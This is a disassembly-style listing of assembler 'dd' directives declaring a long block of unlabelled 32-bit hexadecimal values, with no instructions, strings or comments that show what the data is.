		dd 0C5B18DAh, 0B939EC91h, 6E01D078h, 0DF826BF0h, 88C0E911h
		dd 0FD5030C8h, 3C7D970h, 0F461937Eh, 69EAB530h,	0D7751FCh
		dd 0B0368329h, 60408D18h, 5EF060D6h, 0F48100E2h, 4501E7EDh
		dd 0A3604FB9h, 4411E428h, 0CBD4A84Bh, 0C8EFCFFh, 0C365561Fh
		dd 49678DF9h, 0FB86C821h, 326B1888h, 0E39251E0h, 8F91DE0Ch
		dd 3C5BB01Dh, 0D3836F81h, 0CF72E511h, 0AB8490Eh, 1FACC165h
		dd 0C90705D0h, 0EEFEC180h, 110C3B7Fh, 1802F3D9h, 10431C87h
		dd 0DFC28D4Bh, 80600060h, 4C00C44Fh, 6E265BBBh,	98A72h
		dd 1A685846h, 443860E3h
		dd 0F393E600h, 71830B03h, 0D1ECF5B2h, 7C212EB3h, 96CF00EAh
		dd 67A55206h, 9FB5C907h, 0F3D0FBE8h, 1775AB1h, 901EAF22h
		dd 0C0FAFE7Eh, 550CD051h, 0A081655Eh, 70740302h, 0FC99AE8Ch
		dd 0C05DD6C8h, 3E976B00h, 14ACF0AAh, 0EEBB005Ch, 6B14E24h
		dd 0E8097F8Bh, 0FA7B9F82h, 7804855Ch, 0B89244C3h, 0D11ED3FEh
		dd 5447C211h, 5C635F0Fh, 4C80BC56h, 487BA265h, 0B700AE2Fh
		dd 332B7E4Fh, 0B6707A20h, 80ABC438h, 6FD2CE10h,	1960B76Ah
		dd 29490FB9h, 7CBC0824h, 69E38099h, 45EE80h, 0EF4AF566h
		dd 64DA1990h, 99EB3F00h, 16BB227Ah, 3AAF00FBh, 78F7C980h
		dd 0EE00D560h, 35DDAB0h, 0B8ADA886h, 113EC4Eh, 0CCC5F68Ah
		dd 0E04AD7BAh, 960064E3h, 516F7C12h, 3A42D3Fh, 7963EF17h
		dd 44E8C356h, 0D3070373h, 9EF9F8E0h, 0C1EFE7F4h, 208F2A67h
		dd 5F005418h, 500AAF85h, 74BDDE9h, 44497CC1h, 4856101Eh
		dd 80B5F412h, 80ED90DFh, 61DF03A4h, 6AAB0D6Bh, 0C8B77800h
		dd 2AEC933Eh, 0FA2B00BDh, 0FD93452h, 0C638D7FFh, 6117000Ch
		dd 113389C8h, 0EF233862h, 490AA200h, 65954720h,	81570800h
		dd 0DCE5C9E2h, 3A4500F4h, 1E213073h, 2700F018h,	1F39726Ah
		dd 0C06952h, 3AF37A79h,	25CF1B36h, 1508B500h, 33F93E34h
		dd 76FA000Bh, 0CB4DF211h, 91035161h, 0EF7CA831h, 7BCAC028h
		dd 49F61E6Fh, 60580D0h,	0BE386220h, 4645BC00h, 0D1701C2Ah
		dd 666D00BDh, 8CFFD6E7h, 8004977h, 4A7562A4h, 0D23123h
		dd 0ECDDA05Fh, 0F60480D4h, 3E95C900h, 45B38590h, 3A963E2Eh
		dd 0AFB55500h, 0EF405473h, 8BF37B00h, 0D9F56E0Fh, 0B9D7034Bh
		dd 0A559785h, 331FC98h,	0A149B200h, 0B7599C7Bh,	54E30047h
		dd 829DB6DEh, 0C1077D6Eh, 0EEEF5640h, 0F9749850h, 8B580049h
		dd 0F5E44DEDh, 97013896h, 778AC95Dh, 9F876EFh, 0B1820E11h
		dd 5820952Ah, 1B466BBAh, 0F93B9B01h, 2F6D02Fh, 16122820h
		dd 0D94CD2h, 46AAF2F7h,	0C5F8780Eh, 0FD6E4500h,	6821052h
		dd 0B37FA5h, 0D9B98CEFh, 0B4CA0E75h, 97EC5B00h,	286FDFF9h
		dd 202909D6h, 5C00A735h, 46AF14CFh, 9B153B09h, 0F3500072h
		dd 0B0E96BC3h, 6D4503CAh, 0F225A4F9h, 91D6C0CDh, 4C12DF90h
		dd 2C00AB9Eh, 0B41B8A7Ch, 5B840085h, 958C41C4h,	430758FCh
		dd 0D11879ACh, 0F1B830C0h, 2B3B0011h, 0C599D6F5h, 24074F14h
		dd 0E2066B08h, 354A3A0h, 5A9800D7h, 2D68851Eh, 0DAF0A1D8h
		dd 3AC69A48h, 12378164h, 6DD03401h, 9F1D20h, 5FE293D3h
		dd 4CF02AAEh, 4A3A577Ch, 39B8806Fh, 0D48BCC64h,	9020EB62h
		dd 972700ADh, 301AD181h, 46005EE4h, 377A9A1Fh, 0E6FD7Bh
		dd 0A0CC18Bh, 2E77A914h, 0D012BF00h, 6064DB42h,	725D004Eh
		dd 16F79C6h, 0E01A381h,	712E57D9h, 0FC22043Ch, 3F9D4400h
		dd 8795322Fh, 6CA01400h, 0ABFAFD5Ch, 2819017Eh,	1D27744Bh
		dd 8896DC3Ah, 0CAB77006h, 0A86911h, 3929C848h, 0A57D3331h
		dd 4F0335F2h, 1D02C9CFh, 48B603BDh, 7EF686DAh, 85ABE580h
		dd 0F70A3603h, 0A8ADA5DCh, 34AAD0h, 6B3BAF11h, 3ACE5116h
		dd 0E8F8EA00h, 0CBA15E9Bh, 61E524B8h, 9CFD0031h, 0CA83CC55h
		dd 0EF008DFAh, 5EAB9D6Fh, 8931E6h, 0E9FE78F3h, 2E6C6B67h
		dd 80493C28h, 0A512B100h, 0BE8FC058h, 10BD1D59h, 0B9544099h
		dd 221D3534h, 18D8A304h, 68803BEEh, 0F41773BAh,	2EB25C3Eh
		dd 0C0368101h, 0F40F6DA8h, 0AA0EFA67h, 204DEE6Ah, 303416BDh
		dd 0A93D01ADh, 141ED38Bh, 7786F810h, 912615Ch, 0A4BE49h
		dd 0E8324768h, 0EA28017Ch, 9D6D261Dh, 298DCCDEh, 80054FEh
		dd 960D7484h, 0B04853EEh, 0DABC01BCh, 35AA595Fh, 7B21F45Dh
		dd 0F5286B00h, 819F0344h, 0CC1800C5h, 0AAC02EA5h, 7E009EDFh
		dd 205301D4h, 57985Dh, 3F50B174h, 9C714708h, 0C023500h
		dd 0A6CA6FCFh, 32B200C4h, 0A0E83FC8h, 1C029B03h, 0F3717EA3h
		dd 6C8240B8h, 0FCB500A8h, 66D1C5EBh, 201310Bh, 0A6BF961Ah
		dd 0D0E36404h, 87242Bh,	5F18C390h, 4CE36E63h, 94119C00h
		dd 1E6F8C3Eh, 0C2C61FF9h, 70FF80F5h, 176C2DE4h,	94AADF38h
		dd 0B8E3765h, 207980C4h, 0C6D1518h, 97451838h, 463DBA98h
		dd 0AAE3F000h, 331C53E0h, 0B2A20048h, 50D63190h, 80A9AC5h
		dd 0D86C4E35h, 0C0634042h, 242A3A29h, 1D88EB84h, 3BBD40F9h
		dd 2B209E7Dh, 0B15A904h, 34D087DCh, 6FD480h, 0EFC805A2h
		dd 0D72DB53Ch, 2832DE00h, 5264B35Dh, 0AA1100A7h, 43C91ED2h
		dd 7B26EA12h, 20003CE7h, 76325370h, 8BB0A0h, 0D8A4D20Fh
		dd 1EEDC8FBh, 0BAD52439h, 80AE3BCDh, 2A0125A6h,	0EC7D276Ah
		dd 6318005Bh, 56C9FADDh, 0CF0080E4h, 0FAD71A2h,	307854F3h
		dd 0DB48ABE2h, 3916622Ch, 3001375Ah, 1944FF0Eh,	0F78130h
		dd 0FD88A056h, 0C96F0C0Ah, 43700779h, 0CEFB9400h, 0E51F70A1h
		dd 87CF00C8h, 0B893E304h, 0B0020C5Fh, 0BC5B1628h, 715C4095h
		dd 604F7E72h, 129E4009h, 9600ADE7h, 0D8F0A001h,	0A1DFB7h
		dd 4D1F0834h, 44B11732h, 0DCF1A302h, 0C3A21666h, 0D936E059h
		dd 714D007Dh, 1D7330F0h, 5800EFCCh, 0A599D302h,	3F6E1EECh
		dd 51979BFAh, 6F13007Dh, 7BAF8FFCh, 5284961h, 31602437h
		dd 501B00CAh, 717DAB6Ch, 8900F9F4h, 0B4D3E887h,	8DC3F6h
		dd 20518F86h, 2E08C539h, 9F661500h, 60A8963Dh, 88DF5DBFh
		dd 4D49B900h, 0DAD0F774h, 5743C200h, 0E4F841EEh, 95E007Eh
		dd 8497907Ah, 0E27BBEAEh, 0B2CBC800h, 3E50FE75h, 6F871228h
		dd 0D9B20341h, 2DCA926Dh, 3438C880h, 44047677h,	0A2819BC4h
		dd 0E6FED5C1h, 7A9A1E8h, 0A04F467Bh, 5B406E69h,	93B2A7C5h
		dd 54797F00h, 5D9AA692h, 29B0142h, 0A3485FF0h, 0DF8DE4EAh
		dd 0D76D6A1Dh, 0A5E84B00h, 0F80D88h, 24D95C40h,	7ECD6296h
		dd 94FC1801h, 0F6AB2695h, 467FF0CBh, 1C871FAFh,	75280019h
		dd 34739FE2h, 0B5908800h, 0FF535859h, 10890087h, 0D2C9C5BCh
		dd 0F6010E73h, 5D1CA0B7h, 60E42F63h, 5AEF0021h,	5E7B354Ch
		dd 2A482236h, 3F5800D8h, 0D9E1FCE4h, 3A610085h,	0F81C17C4h
		dd 0CC00A154h, 29AA1277h, 3C8CDh, 4EB9BE1Ah, 0E670E78Eh
		dd 0D730C20Fh, 0A1B18006h, 4A947687h, 3D5C0171h, 87D4F3C7h
		dd 47911BC0h, 0F24D5A10h, 1276009Ch, 895ECEBFh,	20FD1FFAh
		dd 0BC00F9BFh, 0FC226827h, 507B2EEEh, 7A7B138h,	51BE0656h
		dd 658E33CAh, 0E27C6007h, 6FC001D3h, 7C9E35Dh, 0E80BD047h
		dd 5294905Ch, 1491FEAh,	5ABC0C1Ch, 7F63941h, 5021E23Dh
		dd 40224704h, 6431BECBh, 0D4E821C5h, 0E0961C00h, 0E944504h
		dd 23DE05C8h, 6728618Ch, 0A80D7103h, 873AE4C6h,	0D343D480h
		dd 2A417C7Ah, 305488BBh, 933101D5h, 4107F2A6h, 1D6E2617h
		dd 0EDE815E1h, 983E3840h, 0BC442A05h, 5F303920h, 6660B700h
		dd 21B6E839h, 200207Dh,	4DA443C0h, 64FF89h, 8B012B7Eh
		dd 79C8F160h, 333C7500h, 0A3F77859h, 9F830F77h,	122FCC51h
		dd 0E5D3ACA1h, 70B0EF41h, 2602EBAAh, 65E6665Ah,	9C28E009h
		dd 0AFF1007Fh, 186EF7A2h, 0EB3D5588h, 94098098h, 8C72361Dh
		dd 7B6800CEh, 17A64763h, 0EB50D444h, 95009F88h,	5DA4FD59h
		dd 9C9D21h, 0F5932DA1h,	0FF735838h, 0E77E1100h,	0CC753530h
		dd 2C8400ADh, 5EF8D35Bh, 7400803Fh, 27288871h, 383EA1A7h
		dd 13172F38h, 57830E6Bh, 88375644h, 0BA00DB38h,	0E575407Dh
		dd 727D4FDh, 57A7177Eh
		dd 0C93392A5h, 9563DCA0h, 1216E6A9h, 0A7FCC85Eh, 0C0B48214h
		dd 0BABC4B00h, 0B27E7479h, 12E0240h, 0C707C1E8h, 20B916CCh
		dd 0D806DCEBh, 0BA48BC73h, 14EC0010h, 0D2967E3h, 0D1092319h
		dd 7CA40542h, 0E47215C0h, 18E91F00h, 0F82D1220h, 95F40D75h
		dd 5EF0A303h, 7705BDFh,	0B1C0F329h, 642400B6h, 180079A8h
		dd 5E94C205h, 4051E5DAh, 0DEEE6F5Dh, 181F358h, 89ADB906h
		dd 3DE01E02h, 3B3300BBh, 0E9D008DBh, 79007A1Fh,	5682499Ch
		dd 1C80506Ah, 0C061FFh,	8473602h, 0C072301h, 3BC14F99h
		dd 85107546h, 724EF804h, 3103169h, 0F8B8C574h, 58652847h
		dd 3B1C7F62h, 496B00BEh, 74606E8Ch, 0C3E35618h,	807AF429h
		dd 4200012Ah, 0D37150D2h, 0A2DE24h, 122BD9AAh, 0E8820B39h
		dd 109B1F00h, 7B3CF26Dh, 94CD0001h, 68FDA3A4h, 807B25Bh
		dd 0DE4383E0h, 70CFC5D0h, 510F007Bh, 0BB304A07h, 0AE0073E9h
		dd 9EB4B59Bh, 0E05FA79h, 0A46CC40h, 2BB62903h, 0D86711F0h
		dd 0FE7D7000h, 0B7B23C9Bh, 1C6A000Ah, 0DBF40354h, 9107C38Ah
		dd 3C3BFF68h, 1865AD00h, 609A00F7h, 218F3E0Fh, 207B190h
		dd 2EC12B0Dh, 0E80090AAh, 0D3262492h, 0BFAD1864h, 65FC69C0h
		dd 72800409h, 0A42800D5h, 2DB795h, 0D0136657h, 8325D9A1h
		dd 4807E200h, 73D186CBh, 0F36500BFh, 0BB5FBDB8h, 1D0E9B51h
		dd 60DA6E89h, 0BF78771Fh, 0E4C00F66h, 3120421Eh, 6FDE9ED3h
		dd 0D41A7F03h, 0A8F28D76h, 0FA50DDh, 0E381965Ah, 0AD8470CBh
		dd 0E9C7D31Fh, 0AA6C1FC3h, 0D3E6E3B3h, 2952D8FCh, 774320E7h
		dd 0E922E300h, 70DD7106h, 1FC31D48h, 0C94F8055h, 3CB76C7Dh
		dd 3BD7B300h, 62EB26A9h, 0B86D004Eh, 0CF198F0h,	0D6006953h
		dd 7AA6889Ch, 508BCB51h, 0F23DDC6Ah, 0F6D13976h, 6C998300h
		dd 4121C70h, 2233B000h,	0D89076Bh, 0D89007B3h, 83653EC4h
		dd 7488AADDh, 0F0381C15h, 0B7E68027h, 50F52B5Bh, 6DE0000Eh
		dd 7B40CD66h, 1100788Dh, 8C4B965Dh, 5F52E92h, 0A80A42BEh
		dd 0AF8767h, 78FC64EEh,	5B3F6D1Ch, 2B00E4A8h, 0A5ABDC8Fh
		dd 0D83022h, 5C95FFC7h,	0E6C97A6Ch, 7551EE00h, 0CE0419F0h
		dd 1EE73F5Ah, 693ABC80h, 9A6BB5BDh, 2FB9E500h, 0DA97062Ah
		dd 0F0D70013h, 26DF3CAAh, 343FE250h, 0B138814Bh, 72054475h
		dd 7E8CE8h, 0E5857CA8h,	741DB09Ch, 0CF841F01h, 0FF51CABDh
		dd 7FFC6820h, 3CC30077h, 0CA5EE66h, 961D9D7Dh, 0F4E263Eh
		dd 0F7E72746h, 9EC29410h, 66D3011Bh, 1CAAF353h,	0AFA9FC85h
		dd 0F50D8400h, 65CFE487h, 9E7801BAh, 3B57ECC1h,	0B1FC2029h
		dd 545152h, 8694718Eh, 28FC4h, 0D35701FDh, 93AE26E2h, 4858E93Fh
		dd 18007368h, 3DD8AC73h, 9480F43h, 62367E0Ah, 0EE939823h
		dd 87FA00A4h, 0B9681Fh,	0D8CEFC30h, 1A0E80C6h, 13293Ah
		dd 1D643307h, 1219A0h, 4B23FB1Eh, 9DF37A06h, 0AFB0A475h
		dd 0D22B8800h, 6FFCDA2Ch, 0E14E07FFh, 0F12FBCC2h, 0D767CA9Dh
		dd 0E6DFD028h, 0E22EAB0Eh, 0DCC0FECEh, 35E9FD97h, 48E0002Ch
		dd 0D01564F5h, 0BB01FB36h, 0F67D22Ah, 0BCD12507h, 734AEC40h
		dd 0C1600E9h, 5DEDFE12h, 52077504h, 53878AF2h, 0D27353h
		dd 1292BA40h, 2A5BB281h, 674E400Eh, 479E1E21h, 0AAA89E40h
		dd 3A8AF3D1h, 0FCC8650Bh, 0B4F9EA00h, 0D703D519h, 5E0F21C0h
		dd 0B6E13Ch, 3567459Bh,	4937330Eh, 9C643403h, 0B118B83Dh
		dd 3080AB83h, 91C0BA0Bh, 0C99065F8h, 0D0B8FE1Fh, 0B08881BFh
		dd 0EFDB177Ah, 506020h,	1404F95Ch, 4AD29437h, 74E3A91Ch
		dd 0ACC72340h, 8893Ah, 981BAB3Ch, 2DFFFEB2h, 1CFC1D00h
		dd 5280BDBCh, 8DE3ED5h,	0B5BB4200h, 78E19817h, 0CE2D202Ch
		dd 0D583BA01h, 19EC9645h, 0F3310046h, 0CE035F88h, 0A002D35h
		dd 5C32C690h, 7A9D4FF4h, 9CE3003Eh, 30103129h, 0C005861h
		dd 37FBD214h, 0FF7EEC5h, 0B72F8708h, 52D7B8E0h,	3501F90Dh
		dd 70F89927h, 0B9D43C16h, 0DC7E3E80h, 943E8C80h, 7F735C66h
		dd 6264ED00h, 0AD0D9DD7h, 0B9C600CBh, 4DEA67AEh, 320AE7FEh
		dd 0F7AB5002h, 0E4004B1Eh, 5BFAF134h, 0CB0F3B61h, 0F87E1880h
		dd 8DBE8404h, 1F64A449h, 0CA00D4CDh, 6C2F22Ch, 49B2130Fh
		dd 28684064h, 9E4D11B8h, 6771AA00h, 590EBDCBh, 0FEEC62h
		dd 30139D46h, 81BC53E6h, 94E07402h, 0CA58357Ch,	27A88270h
		dd 0B8654037h, 3AC3007Dh, 0F7215FA8h, 4D00837Ah, 223D920Ah
		dd 3F9E6h, 64DEC14Ah, 8790B176h, 0DBA93003h, 541497h, 3C79F874h
		dd 0A85D8075h, 9341B200h, 486349A3h, 0A0181DD0h, 0EFD640DBh
		dd 16D87B1Fh, 0AC662800h, 4176FBC0h, 10305DCDh,	86221F0Bh
		dd 5BF67180h, 0B6012E84h, 0ABAA45C7h, 0C860B8DDh, 8E70798h
		dd 882F3Dh, 6CF629C4h, 0AA3BA0A0h, 78426907h, 1970CB89h
		dd 0C96056h, 0A8E72307h, 186C1029h, 710BB431h, 0E8D074ACh
		dd 1650263Eh, 187303EEh, 211737ADh, 5C207BAEh, 30953BEEh
		dd 0F508EBC9h, 6C982D43h, 96B3EC1Eh, 0E486CA00h, 0F8B7130Dh
		dd 0F0B40012h, 8BBF4508h, 0BF2094Dh, 0F161C0E2h, 0AAE8C30h
		dd 0C58874h, 86057DB2h,	0C1D8519Fh, 0C6003FE2h,	59BF3128h
		dd 1166A69h, 0A9B74B7h,	484C1508h, 27019C20h, 0D5EE6950h
		dd 0C40D9BFh, 0F73176F4h, 8BC97087h, 9A447066h,	0EA003AF9h
		dd 6BD95520h, 29FD453h,	5917E222h, 0A2400585h, 4A2C9A13h
		dd 3A09A224h, 0DC03004Ch, 135F2E3h, 7E1B9812h, 80DA5E81h
		dd 49FEE17Eh, 115C5Fh, 0DC8859F0h, 1F4707A4h, 69E33500h
		dd 27455702h, 0EB9601EAh, 37B33810h, 0CA9EC0A9h, 0F9E10900h
		dd 0A7180B20h, 2FFC39C5h, 0EBE6AA80h, 0F417B832h, 51431207h
		dd 9647F11Fh, 0BEFAEC00h, 0A3D40026h, 90F032F9h, 0A9038F21h
		dd 31A08D6Fh, 0EC12C907h, 173056F1h, 24EF906Eh,	4038496Ah
		dd 0E1D9B683h, 50C91103h, 24F1AE08h, 80C4C408h,	5FD9CEECh
		dd 0A1006F4Ah, 5C783F5Ah, 0AC8A74h, 553510A9h, 1D0CB4ECh
		dd 5F606B7Eh, 0A3297338h, 0C4095594h, 147ED800h, 515F069Fh
		dd 8F7816Eh, 508C3959h,	4E1C7E1Dh, 0C147D97Ah, 0BB21A825h
		dd 1B20AA6Bh, 72B3005Eh, 51B9EFB2h, 24636E47h, 0A0A896C1h
		dd 3912320Eh, 1C285E76h, 2674674h, 11ECD9B7h, 40BC33C1h
		dd 0EBD9CFE9h, 0FBEF0745h, 0B1B70A36h, 8406353Eh, 9AB19150h
		dd 0D70F8493h, 25D66307h, 47F20378h, 0FBB56178h, 5EB06FA3h
		dd 50009814h, 2326D276h, 3BDE73h, 61A31102h, 8A8F340h
		dd 0D48D6600h, 1EBFAAFCh, 0C22A0071h, 0DAA9FDB1h, 0C8016A7Ah
		dd 6087385h, 1F30913Eh,	12A300C9h, 4EDAF311h, 0B53C902Bh
		dd 44E8009Eh, 0FD1AF18Bh, 0CB23003Ah, 80BBB258h, 0F43E90C4h
		dd 0D2B507B8h, 88C0F971h, 0EACD0h, 3B602CBFh, 0A175E044h
		dd 0C20DEA07h, 34FF5CFh, 0C1011A4Bh, 4960D7B4h,	4281018Eh
		dd 83ACF1BAh, 0DC58FC03h, 0AF45C200h, 0F68753BBh, 86281869h
		dd 99D048E2h, 0EFF80C74h, 73D7162Eh, 10C19F0Ch,	0E6E25C0Dh
		dd 0A6CB710Dh, 7B108068h, 0E06E0B1h, 0C8D50A1h,	58E61C07h
		dd 0AC803E78h, 0E4C487CFh, 48C386D2h, 63182D67h, 0CF8218A8h
		dd 8F106160h, 18D01976h, 18E20A34h, 0AD605518h,	95E8A721h
		dd 0F7513078h, 4C1FBA31h, 0D021DF62h, 0AD60837Bh, 0A0831EEh
		dd 801B12C8h, 49451119h, 0B85877h, 943C72BAh, 26017432h
		dd 3105E34Ch, 429528C4h, 3B7177D4h, 92005CA8h, 5B5FC5B0h
		dd 51008F78h, 7F64838Dh, 60FEC202h, 528792Ch, 0B6007096h
		dd 0D843F61Ch, 0F98D0Dh, 0E8C8AB12h, 2CE1A26Bh,	0AC181374h
		dd 0A738BCD6h, 0A103630Dh, 10E8B804h, 563966FEh, 25DC8720h
		dd 28E0A1A0h, 23EC13h, 0B1DA53C0h, 4BEE996h, 660477Eh
		dd 0E050D18h, 0A8F2FBh,	0AE576A49h, 0EC4BA64Ch,	0EFA73806h
		dd 28207Ch, 3BB48A08h, 0F202D04Ah, 0FAD34F00h, 32D2169Ch
		dd 0E8B8F046h, 5F480641h, 61EBEEC0h, 58106A01h,	6CC42E31h
		dd 6D910ADBh, 79908BDh,	8CC88969h, 20C71E39h, 0D6410B19h
		dd 10810DE5h, 8438790Fh, 0E0CA00F8h, 0B8EF00F6h, 23ED401Fh
		dd 59C03A29h, 7203CB58h, 3C7300C5h, 69E5593h, 6E0E9B35h
		dd 600AC0F7h, 0DE81E254h, 414860B5h, 0C7C38CE0h, 4C957319h
		dd 0C0BEE288h, 0B8E13706h, 293089DEh, 0E68869D4h, 360E003Ah
		dd 0F8B7A9ADh, 5C15E131h, 0C0804FEEh, 15B3A556h, 0F85E60CCh
		dd 1618DCE2h, 487D1048h, 904330FEh, 0C0F1D63Fh,	9564AC69h
		dd 9D00EA46h, 8C4615Ch,	7048E16h, 5A99AEA4h, 0A5616CF2h
		dd 0FC6258h, 44947EE6h,	61E2074Bh, 3DE0480Ah, 729BC85h
		dd 0BDFD73C4h, 0F8216F46h, 0E158A17Eh, 0F7528E10h, 0CD20D30Eh
		dd 0D59BE01Ch, 2A459C8Ah, 44CC1243h, 0B6E46B09h, 8E792E00h
		dd 3AB4308Bh, 71596686h, 0E71808CAh, 0DE10C135h, 8F4D012Eh
		dd 41F96706h, 0E557F472h, 97313060h, 3BCCAA15h,	0E680FC9Eh
		dd 0D97256A3h, 0A00A0F4h, 6B41BB42h, 30C134DCh,	0CFB1E9EEh
		dd 35E45B43h, 0E79E6F05h, 0F411E6EBh, 0DD7E003Ch, 0BA82F939h
		dd 643839A5h, 0E8ED7D95h, 0C019A087h, 0D56E7A3Dh, 54521C07h
		dd 209CD7EDh, 84BA480Bh, 5937E786h, 0A8225400h,	0A33556CDh
		dd 0FE97060Fh, 20099338h, 3C8F4C06h, 3A9E3EFh, 95B8D5BAh
		dd 0A1E89D34h, 2B0C7BB0h, 207E2281h, 0C4D8D0DBh, 80CB49C7h
		dd 6B632507h, 0E6DEC700h, 19C4B0F8h, 0F60A4073h, 0B7D0DD89h
		dd 0B0D901AEh, 2CBA9939h, 6D5086F7h, 0B131E0h, 564B13DBh
		dd 48061B86h, 6F42FA0Eh, 0F672A0E5h, 0AD5DFBCh,	187E4B55h
		dd 0ED91F4h, 33AA98FAh,	7B0A531Ch, 0F1930072h, 4F6B2987h
		dd 7ECE4A8h, 0D2C2B23Fh, 0C9EE3598h, 1811304Ch,	4358C235h
		dd 800F0E29h, 186B6081h, 3E74CA5h, 0B0CA3E0Eh, 0CD4FEF64h
		dd 6F644108h, 77791020h, 6E4B12E1h, 5E3808BBh, 0E3CC7E9Eh
		dd 60E868EBh, 0C50E317Dh, 7F013EFAh, 0C27781E5h, 40CE1A66h
		dd 12F680B9h, 12B1F14Dh, 8738301Ch, 4B247704h, 33C664F0h
		dd 0AAA81369h, 850200D0h, 4863C405h, 1B066100h,	0E820AC15h
		dd 0E2922A0Bh, 88E74880h, 5746BE80h, 5C31FE9Ah,	7EED92Ch
		dd 0A8412981h, 0C199D53Bh, 0A66760FFh, 6D58C501h, 78F0A75Bh
		dd 1129D180h, 33409F26h, 14B6242Ch, 0EA5CEE00h,	966358Ah
		dd 7E0F4C37h, 6C38A8A0h, 0D40C133h, 64C688E3h, 0AC89DE1Fh
		dd 38802058h, 0A9CB60FAh, 0D4C80B43h, 8048D14Ch, 67DDAC46h
		dd 5EA0079h, 91E366A1h,	609EE21h, 9020E4D4h, 9C681A4h
		dd 4CCD777Ch, 8D155018h, 38314000h, 5C2218A0h, 0B30C5C3h
		dd 0E1942199h, 212023DEh, 704C0095h, 7D566BE0h,	25C9590Dh
		dd 41E0197Eh, 612C3AFAh, 0B70CDC58h, 0EEF946C1h, 0B400BC91h
		dd 0B549BCD0h, 0A3710062h, 0B3BFABD6h, 0F8CE5E9Ch, 0EB269169h
		dd 714C021Ch, 0CC618EB9h, 775824FCh, 65B49503h,	1F74DF8Fh
		dd 0B0B6E181h, 0AD8BE0E1h, 48F3631Fh, 0F85A7942h, 754AFB4h
		dd 0E0804693h, 242C96DEh, 0CC8C2EF5h, 31C0CA69h, 864506B8h
		dd 10E159E8h, 48D5AC40h, 0B58050D1h, 381975EAh,	0F1684000h
		dd 58A87DFAh, 3CF358E1h, 0F4617880h, 0EE80C5CCh, 320927Fh
		dd 25298973h, 0E0F888D7h, 5000FDBEh, 2C42F04Eh,	0B35E3958h
		dd 64C49FC4h, 58513C90h, 0E0448CEDh, 54E55C8Ch,	8915E8EBh
		dd 39EC32E7h, 0E01F008Bh, 4A19453Fh, 9F41000Bh,	6096AF70h
		dd 460BBC4Eh, 205FA761h, 0DD36F490h, 0AC840917h, 0E8934F2Ch
		dd 290051B6h, 187B49FFh, 2886CD7Eh, 815077C7h, 504C9344h
		dd 2891EEh, 4A433524h, 10C96F1Dh, 0D394A1F4h, 3431E14Dh
		dd 58E7085Ch, 0BC802438h, 0B6A8CD6Bh, 0C3D32F03h, 0A52429h
		dd 77EF86B9h, 0B7F4CD1h, 7AEAA001h, 7EED975Ah, 93DAE100h
		dd 3929A9C4h, 0C1BC80D0h, 6A41F7Ah, 8A5400D5h, 0FDAE804Ah
		dd 47197404h, 148D464Eh, 44792C20h, 0BC88C420h,	46913FAEh
		dd 0BEDFDB80h, 0B044F83Eh, 7A874113h, 3C223016h, 4498E410h
		dd 7B02C812h, 0FB1F7521h, 0E78048A8h, 54A6743Fh, 883680E3h
		dd 81391030h, 0DB6D0FDFh, 0D0A76D5Dh, 880FE820h, 840F538Dh
		dd 0A7FB3794h, 15C09C3Ah, 111477Eh, 0D735417Ah,	346BE1C0h
		dd 733EF418h, 745E617Fh, 0A3F90648h, 405078B4h,	0CD08B14h
		dd 75264171h, 0EF4014D7h, 3A104D43h, 7E0946DAh,	2CAE68B8h
		dd 60A207A8h, 6B013798h, 92534AFFh, 7464BA97h, 1070C9E7h
		dd 0DBF00422h, 7F17EC44h, 7F00DEAAh, 0B7F1ACBCh, 5DED2430h
		dd 58342CCCh, 8F008AA9h, 3837D339h, 41DBF7E8h, 0C4698677h
		dd 0B358D66Eh, 0BE6800B8h, 0CE5730D4h, 63855209h, 0E0390E32h
		dd 0B56B153Bh, 4E3C1786h, 97E00954h, 6E385040h,	0E7115491h
		dd 90115A37h, 0E4DD62Ah, 633A830Dh, 83EA192Eh, 0C9BB126Ch
		dd 21D4EE01h, 0C7C51CD0h, 44986A60h, 9A1D673Bh,	0D544B759h
		dd 6488F0C6h, 210CB1B2h, 383A80FCh, 0A2228043h,	0B3416013h
		dd 0D44D610Ah, 8E0BCA05h, 0CBB88414h, 11D010EEh, 7AEF802h
		dd 0AD0F05CAh, 3BA0EFE5h, 82833F74h, 25371015h,	6EC50D4h
		dd 64DFE188h, 91E089EEh, 92181914h, 20F311h, 10C36Dh, 0D5D7A654h
		dd 187337C1h, 0E0487D2Ah, 0E181EC99h, 0DA1D621Ch, 0BAEB60h
		dd 0B9C6AF6Eh, 0DC0F1653h, 54C1C760h, 0B86871B0h, 0EC56E07Ah
		dd 0C68B05E2h, 906A1884h, 0DE4F6D40h, 0F7E8E3EDh, 772619A6h
		dd 4040E821h, 44D7A3FFh, 0A4006109h, 1626F783h,	2A9E10A8h
		dd 907AF0h, 6CAF4BC5h, 1994225Ch, 0B99AA212h, 70E07447h
		dd 0B02CD451h, 43113C41h, 605C38A4h, 1D28EF6Fh,	4A457100h
		dd 43AFCB50h, 0A54F8852h, 80B50B3Ah, 10FAC8EFh,	94F3E23Eh
		dd 0E0FFBEB0h, 0F164DF4Ch, 7277C450h, 683809E0h, 8B30695Dh
		dd 28CC25h, 36A84CC0h, 0FD982C1Dh, 0A1F6C837h, 182C08CBh
		dd 79CD9304h, 0FC62D8CDh, 3ECB8B00h, 7F806AF1h,	38A1CA0h
		dd 0A422F589h, 98603400h, 0D7D39B3Ch, 0CB7FE81Fh, 0AA42795Eh
		dd 0E64D7E8Dh, 6DD13348h, 0F9E9D914h, 281EF15Dh, 0A17780ECh
		dd 0C59BCEh, 0ACB792EEh, 0E24F4933h, 290C4899h,	0F6D8108h
		dd 0AB133F3Ch, 0A3851F22h, 40B4444Bh, 1084E68Bh, 7914001Ch
		dd 939F841h, 0EB4EE3E2h, 59755C30h, 1DA6E28Eh, 8009114Ah
		dd 0AE918C97h, 0E8ABC94Bh, 94AC4695h, 10013635h, 349855B5h
		dd 80DC5A58h, 928F0E2Ch, 0EECA871Ch, 34EF4330h,	468868F8h
		dd 602FAF0Fh, 44CB0109h, 0CC237067h, 0CA4C1100h, 7E63D340h
		dd 528034B3h, 870E62A5h, 848C0096h, 0A2B98946h,	35137107h
		dd 4C725EF8h, 0C06ECAh,	0BDC77BEh, 28919919h, 584A1220h
		dd 0D04C6C43h, 29DE4E80h, 7E430EEFh, 4BCFE858h,	17E431A0h
		dd 8B0FFF02h, 281020BAh, 0C66C8842h, 2094D68Bh,	698797B8h
		dd 9E5A00AAh, 0A80BB615h, 0BE0053D2h, 0F1B0F89Dh, 4CB4023Bh
		dd 7D80D029h, 0AE1055EFh, 8824660Eh, 79964139h,	8240C573h
		dd 98A7041Ah
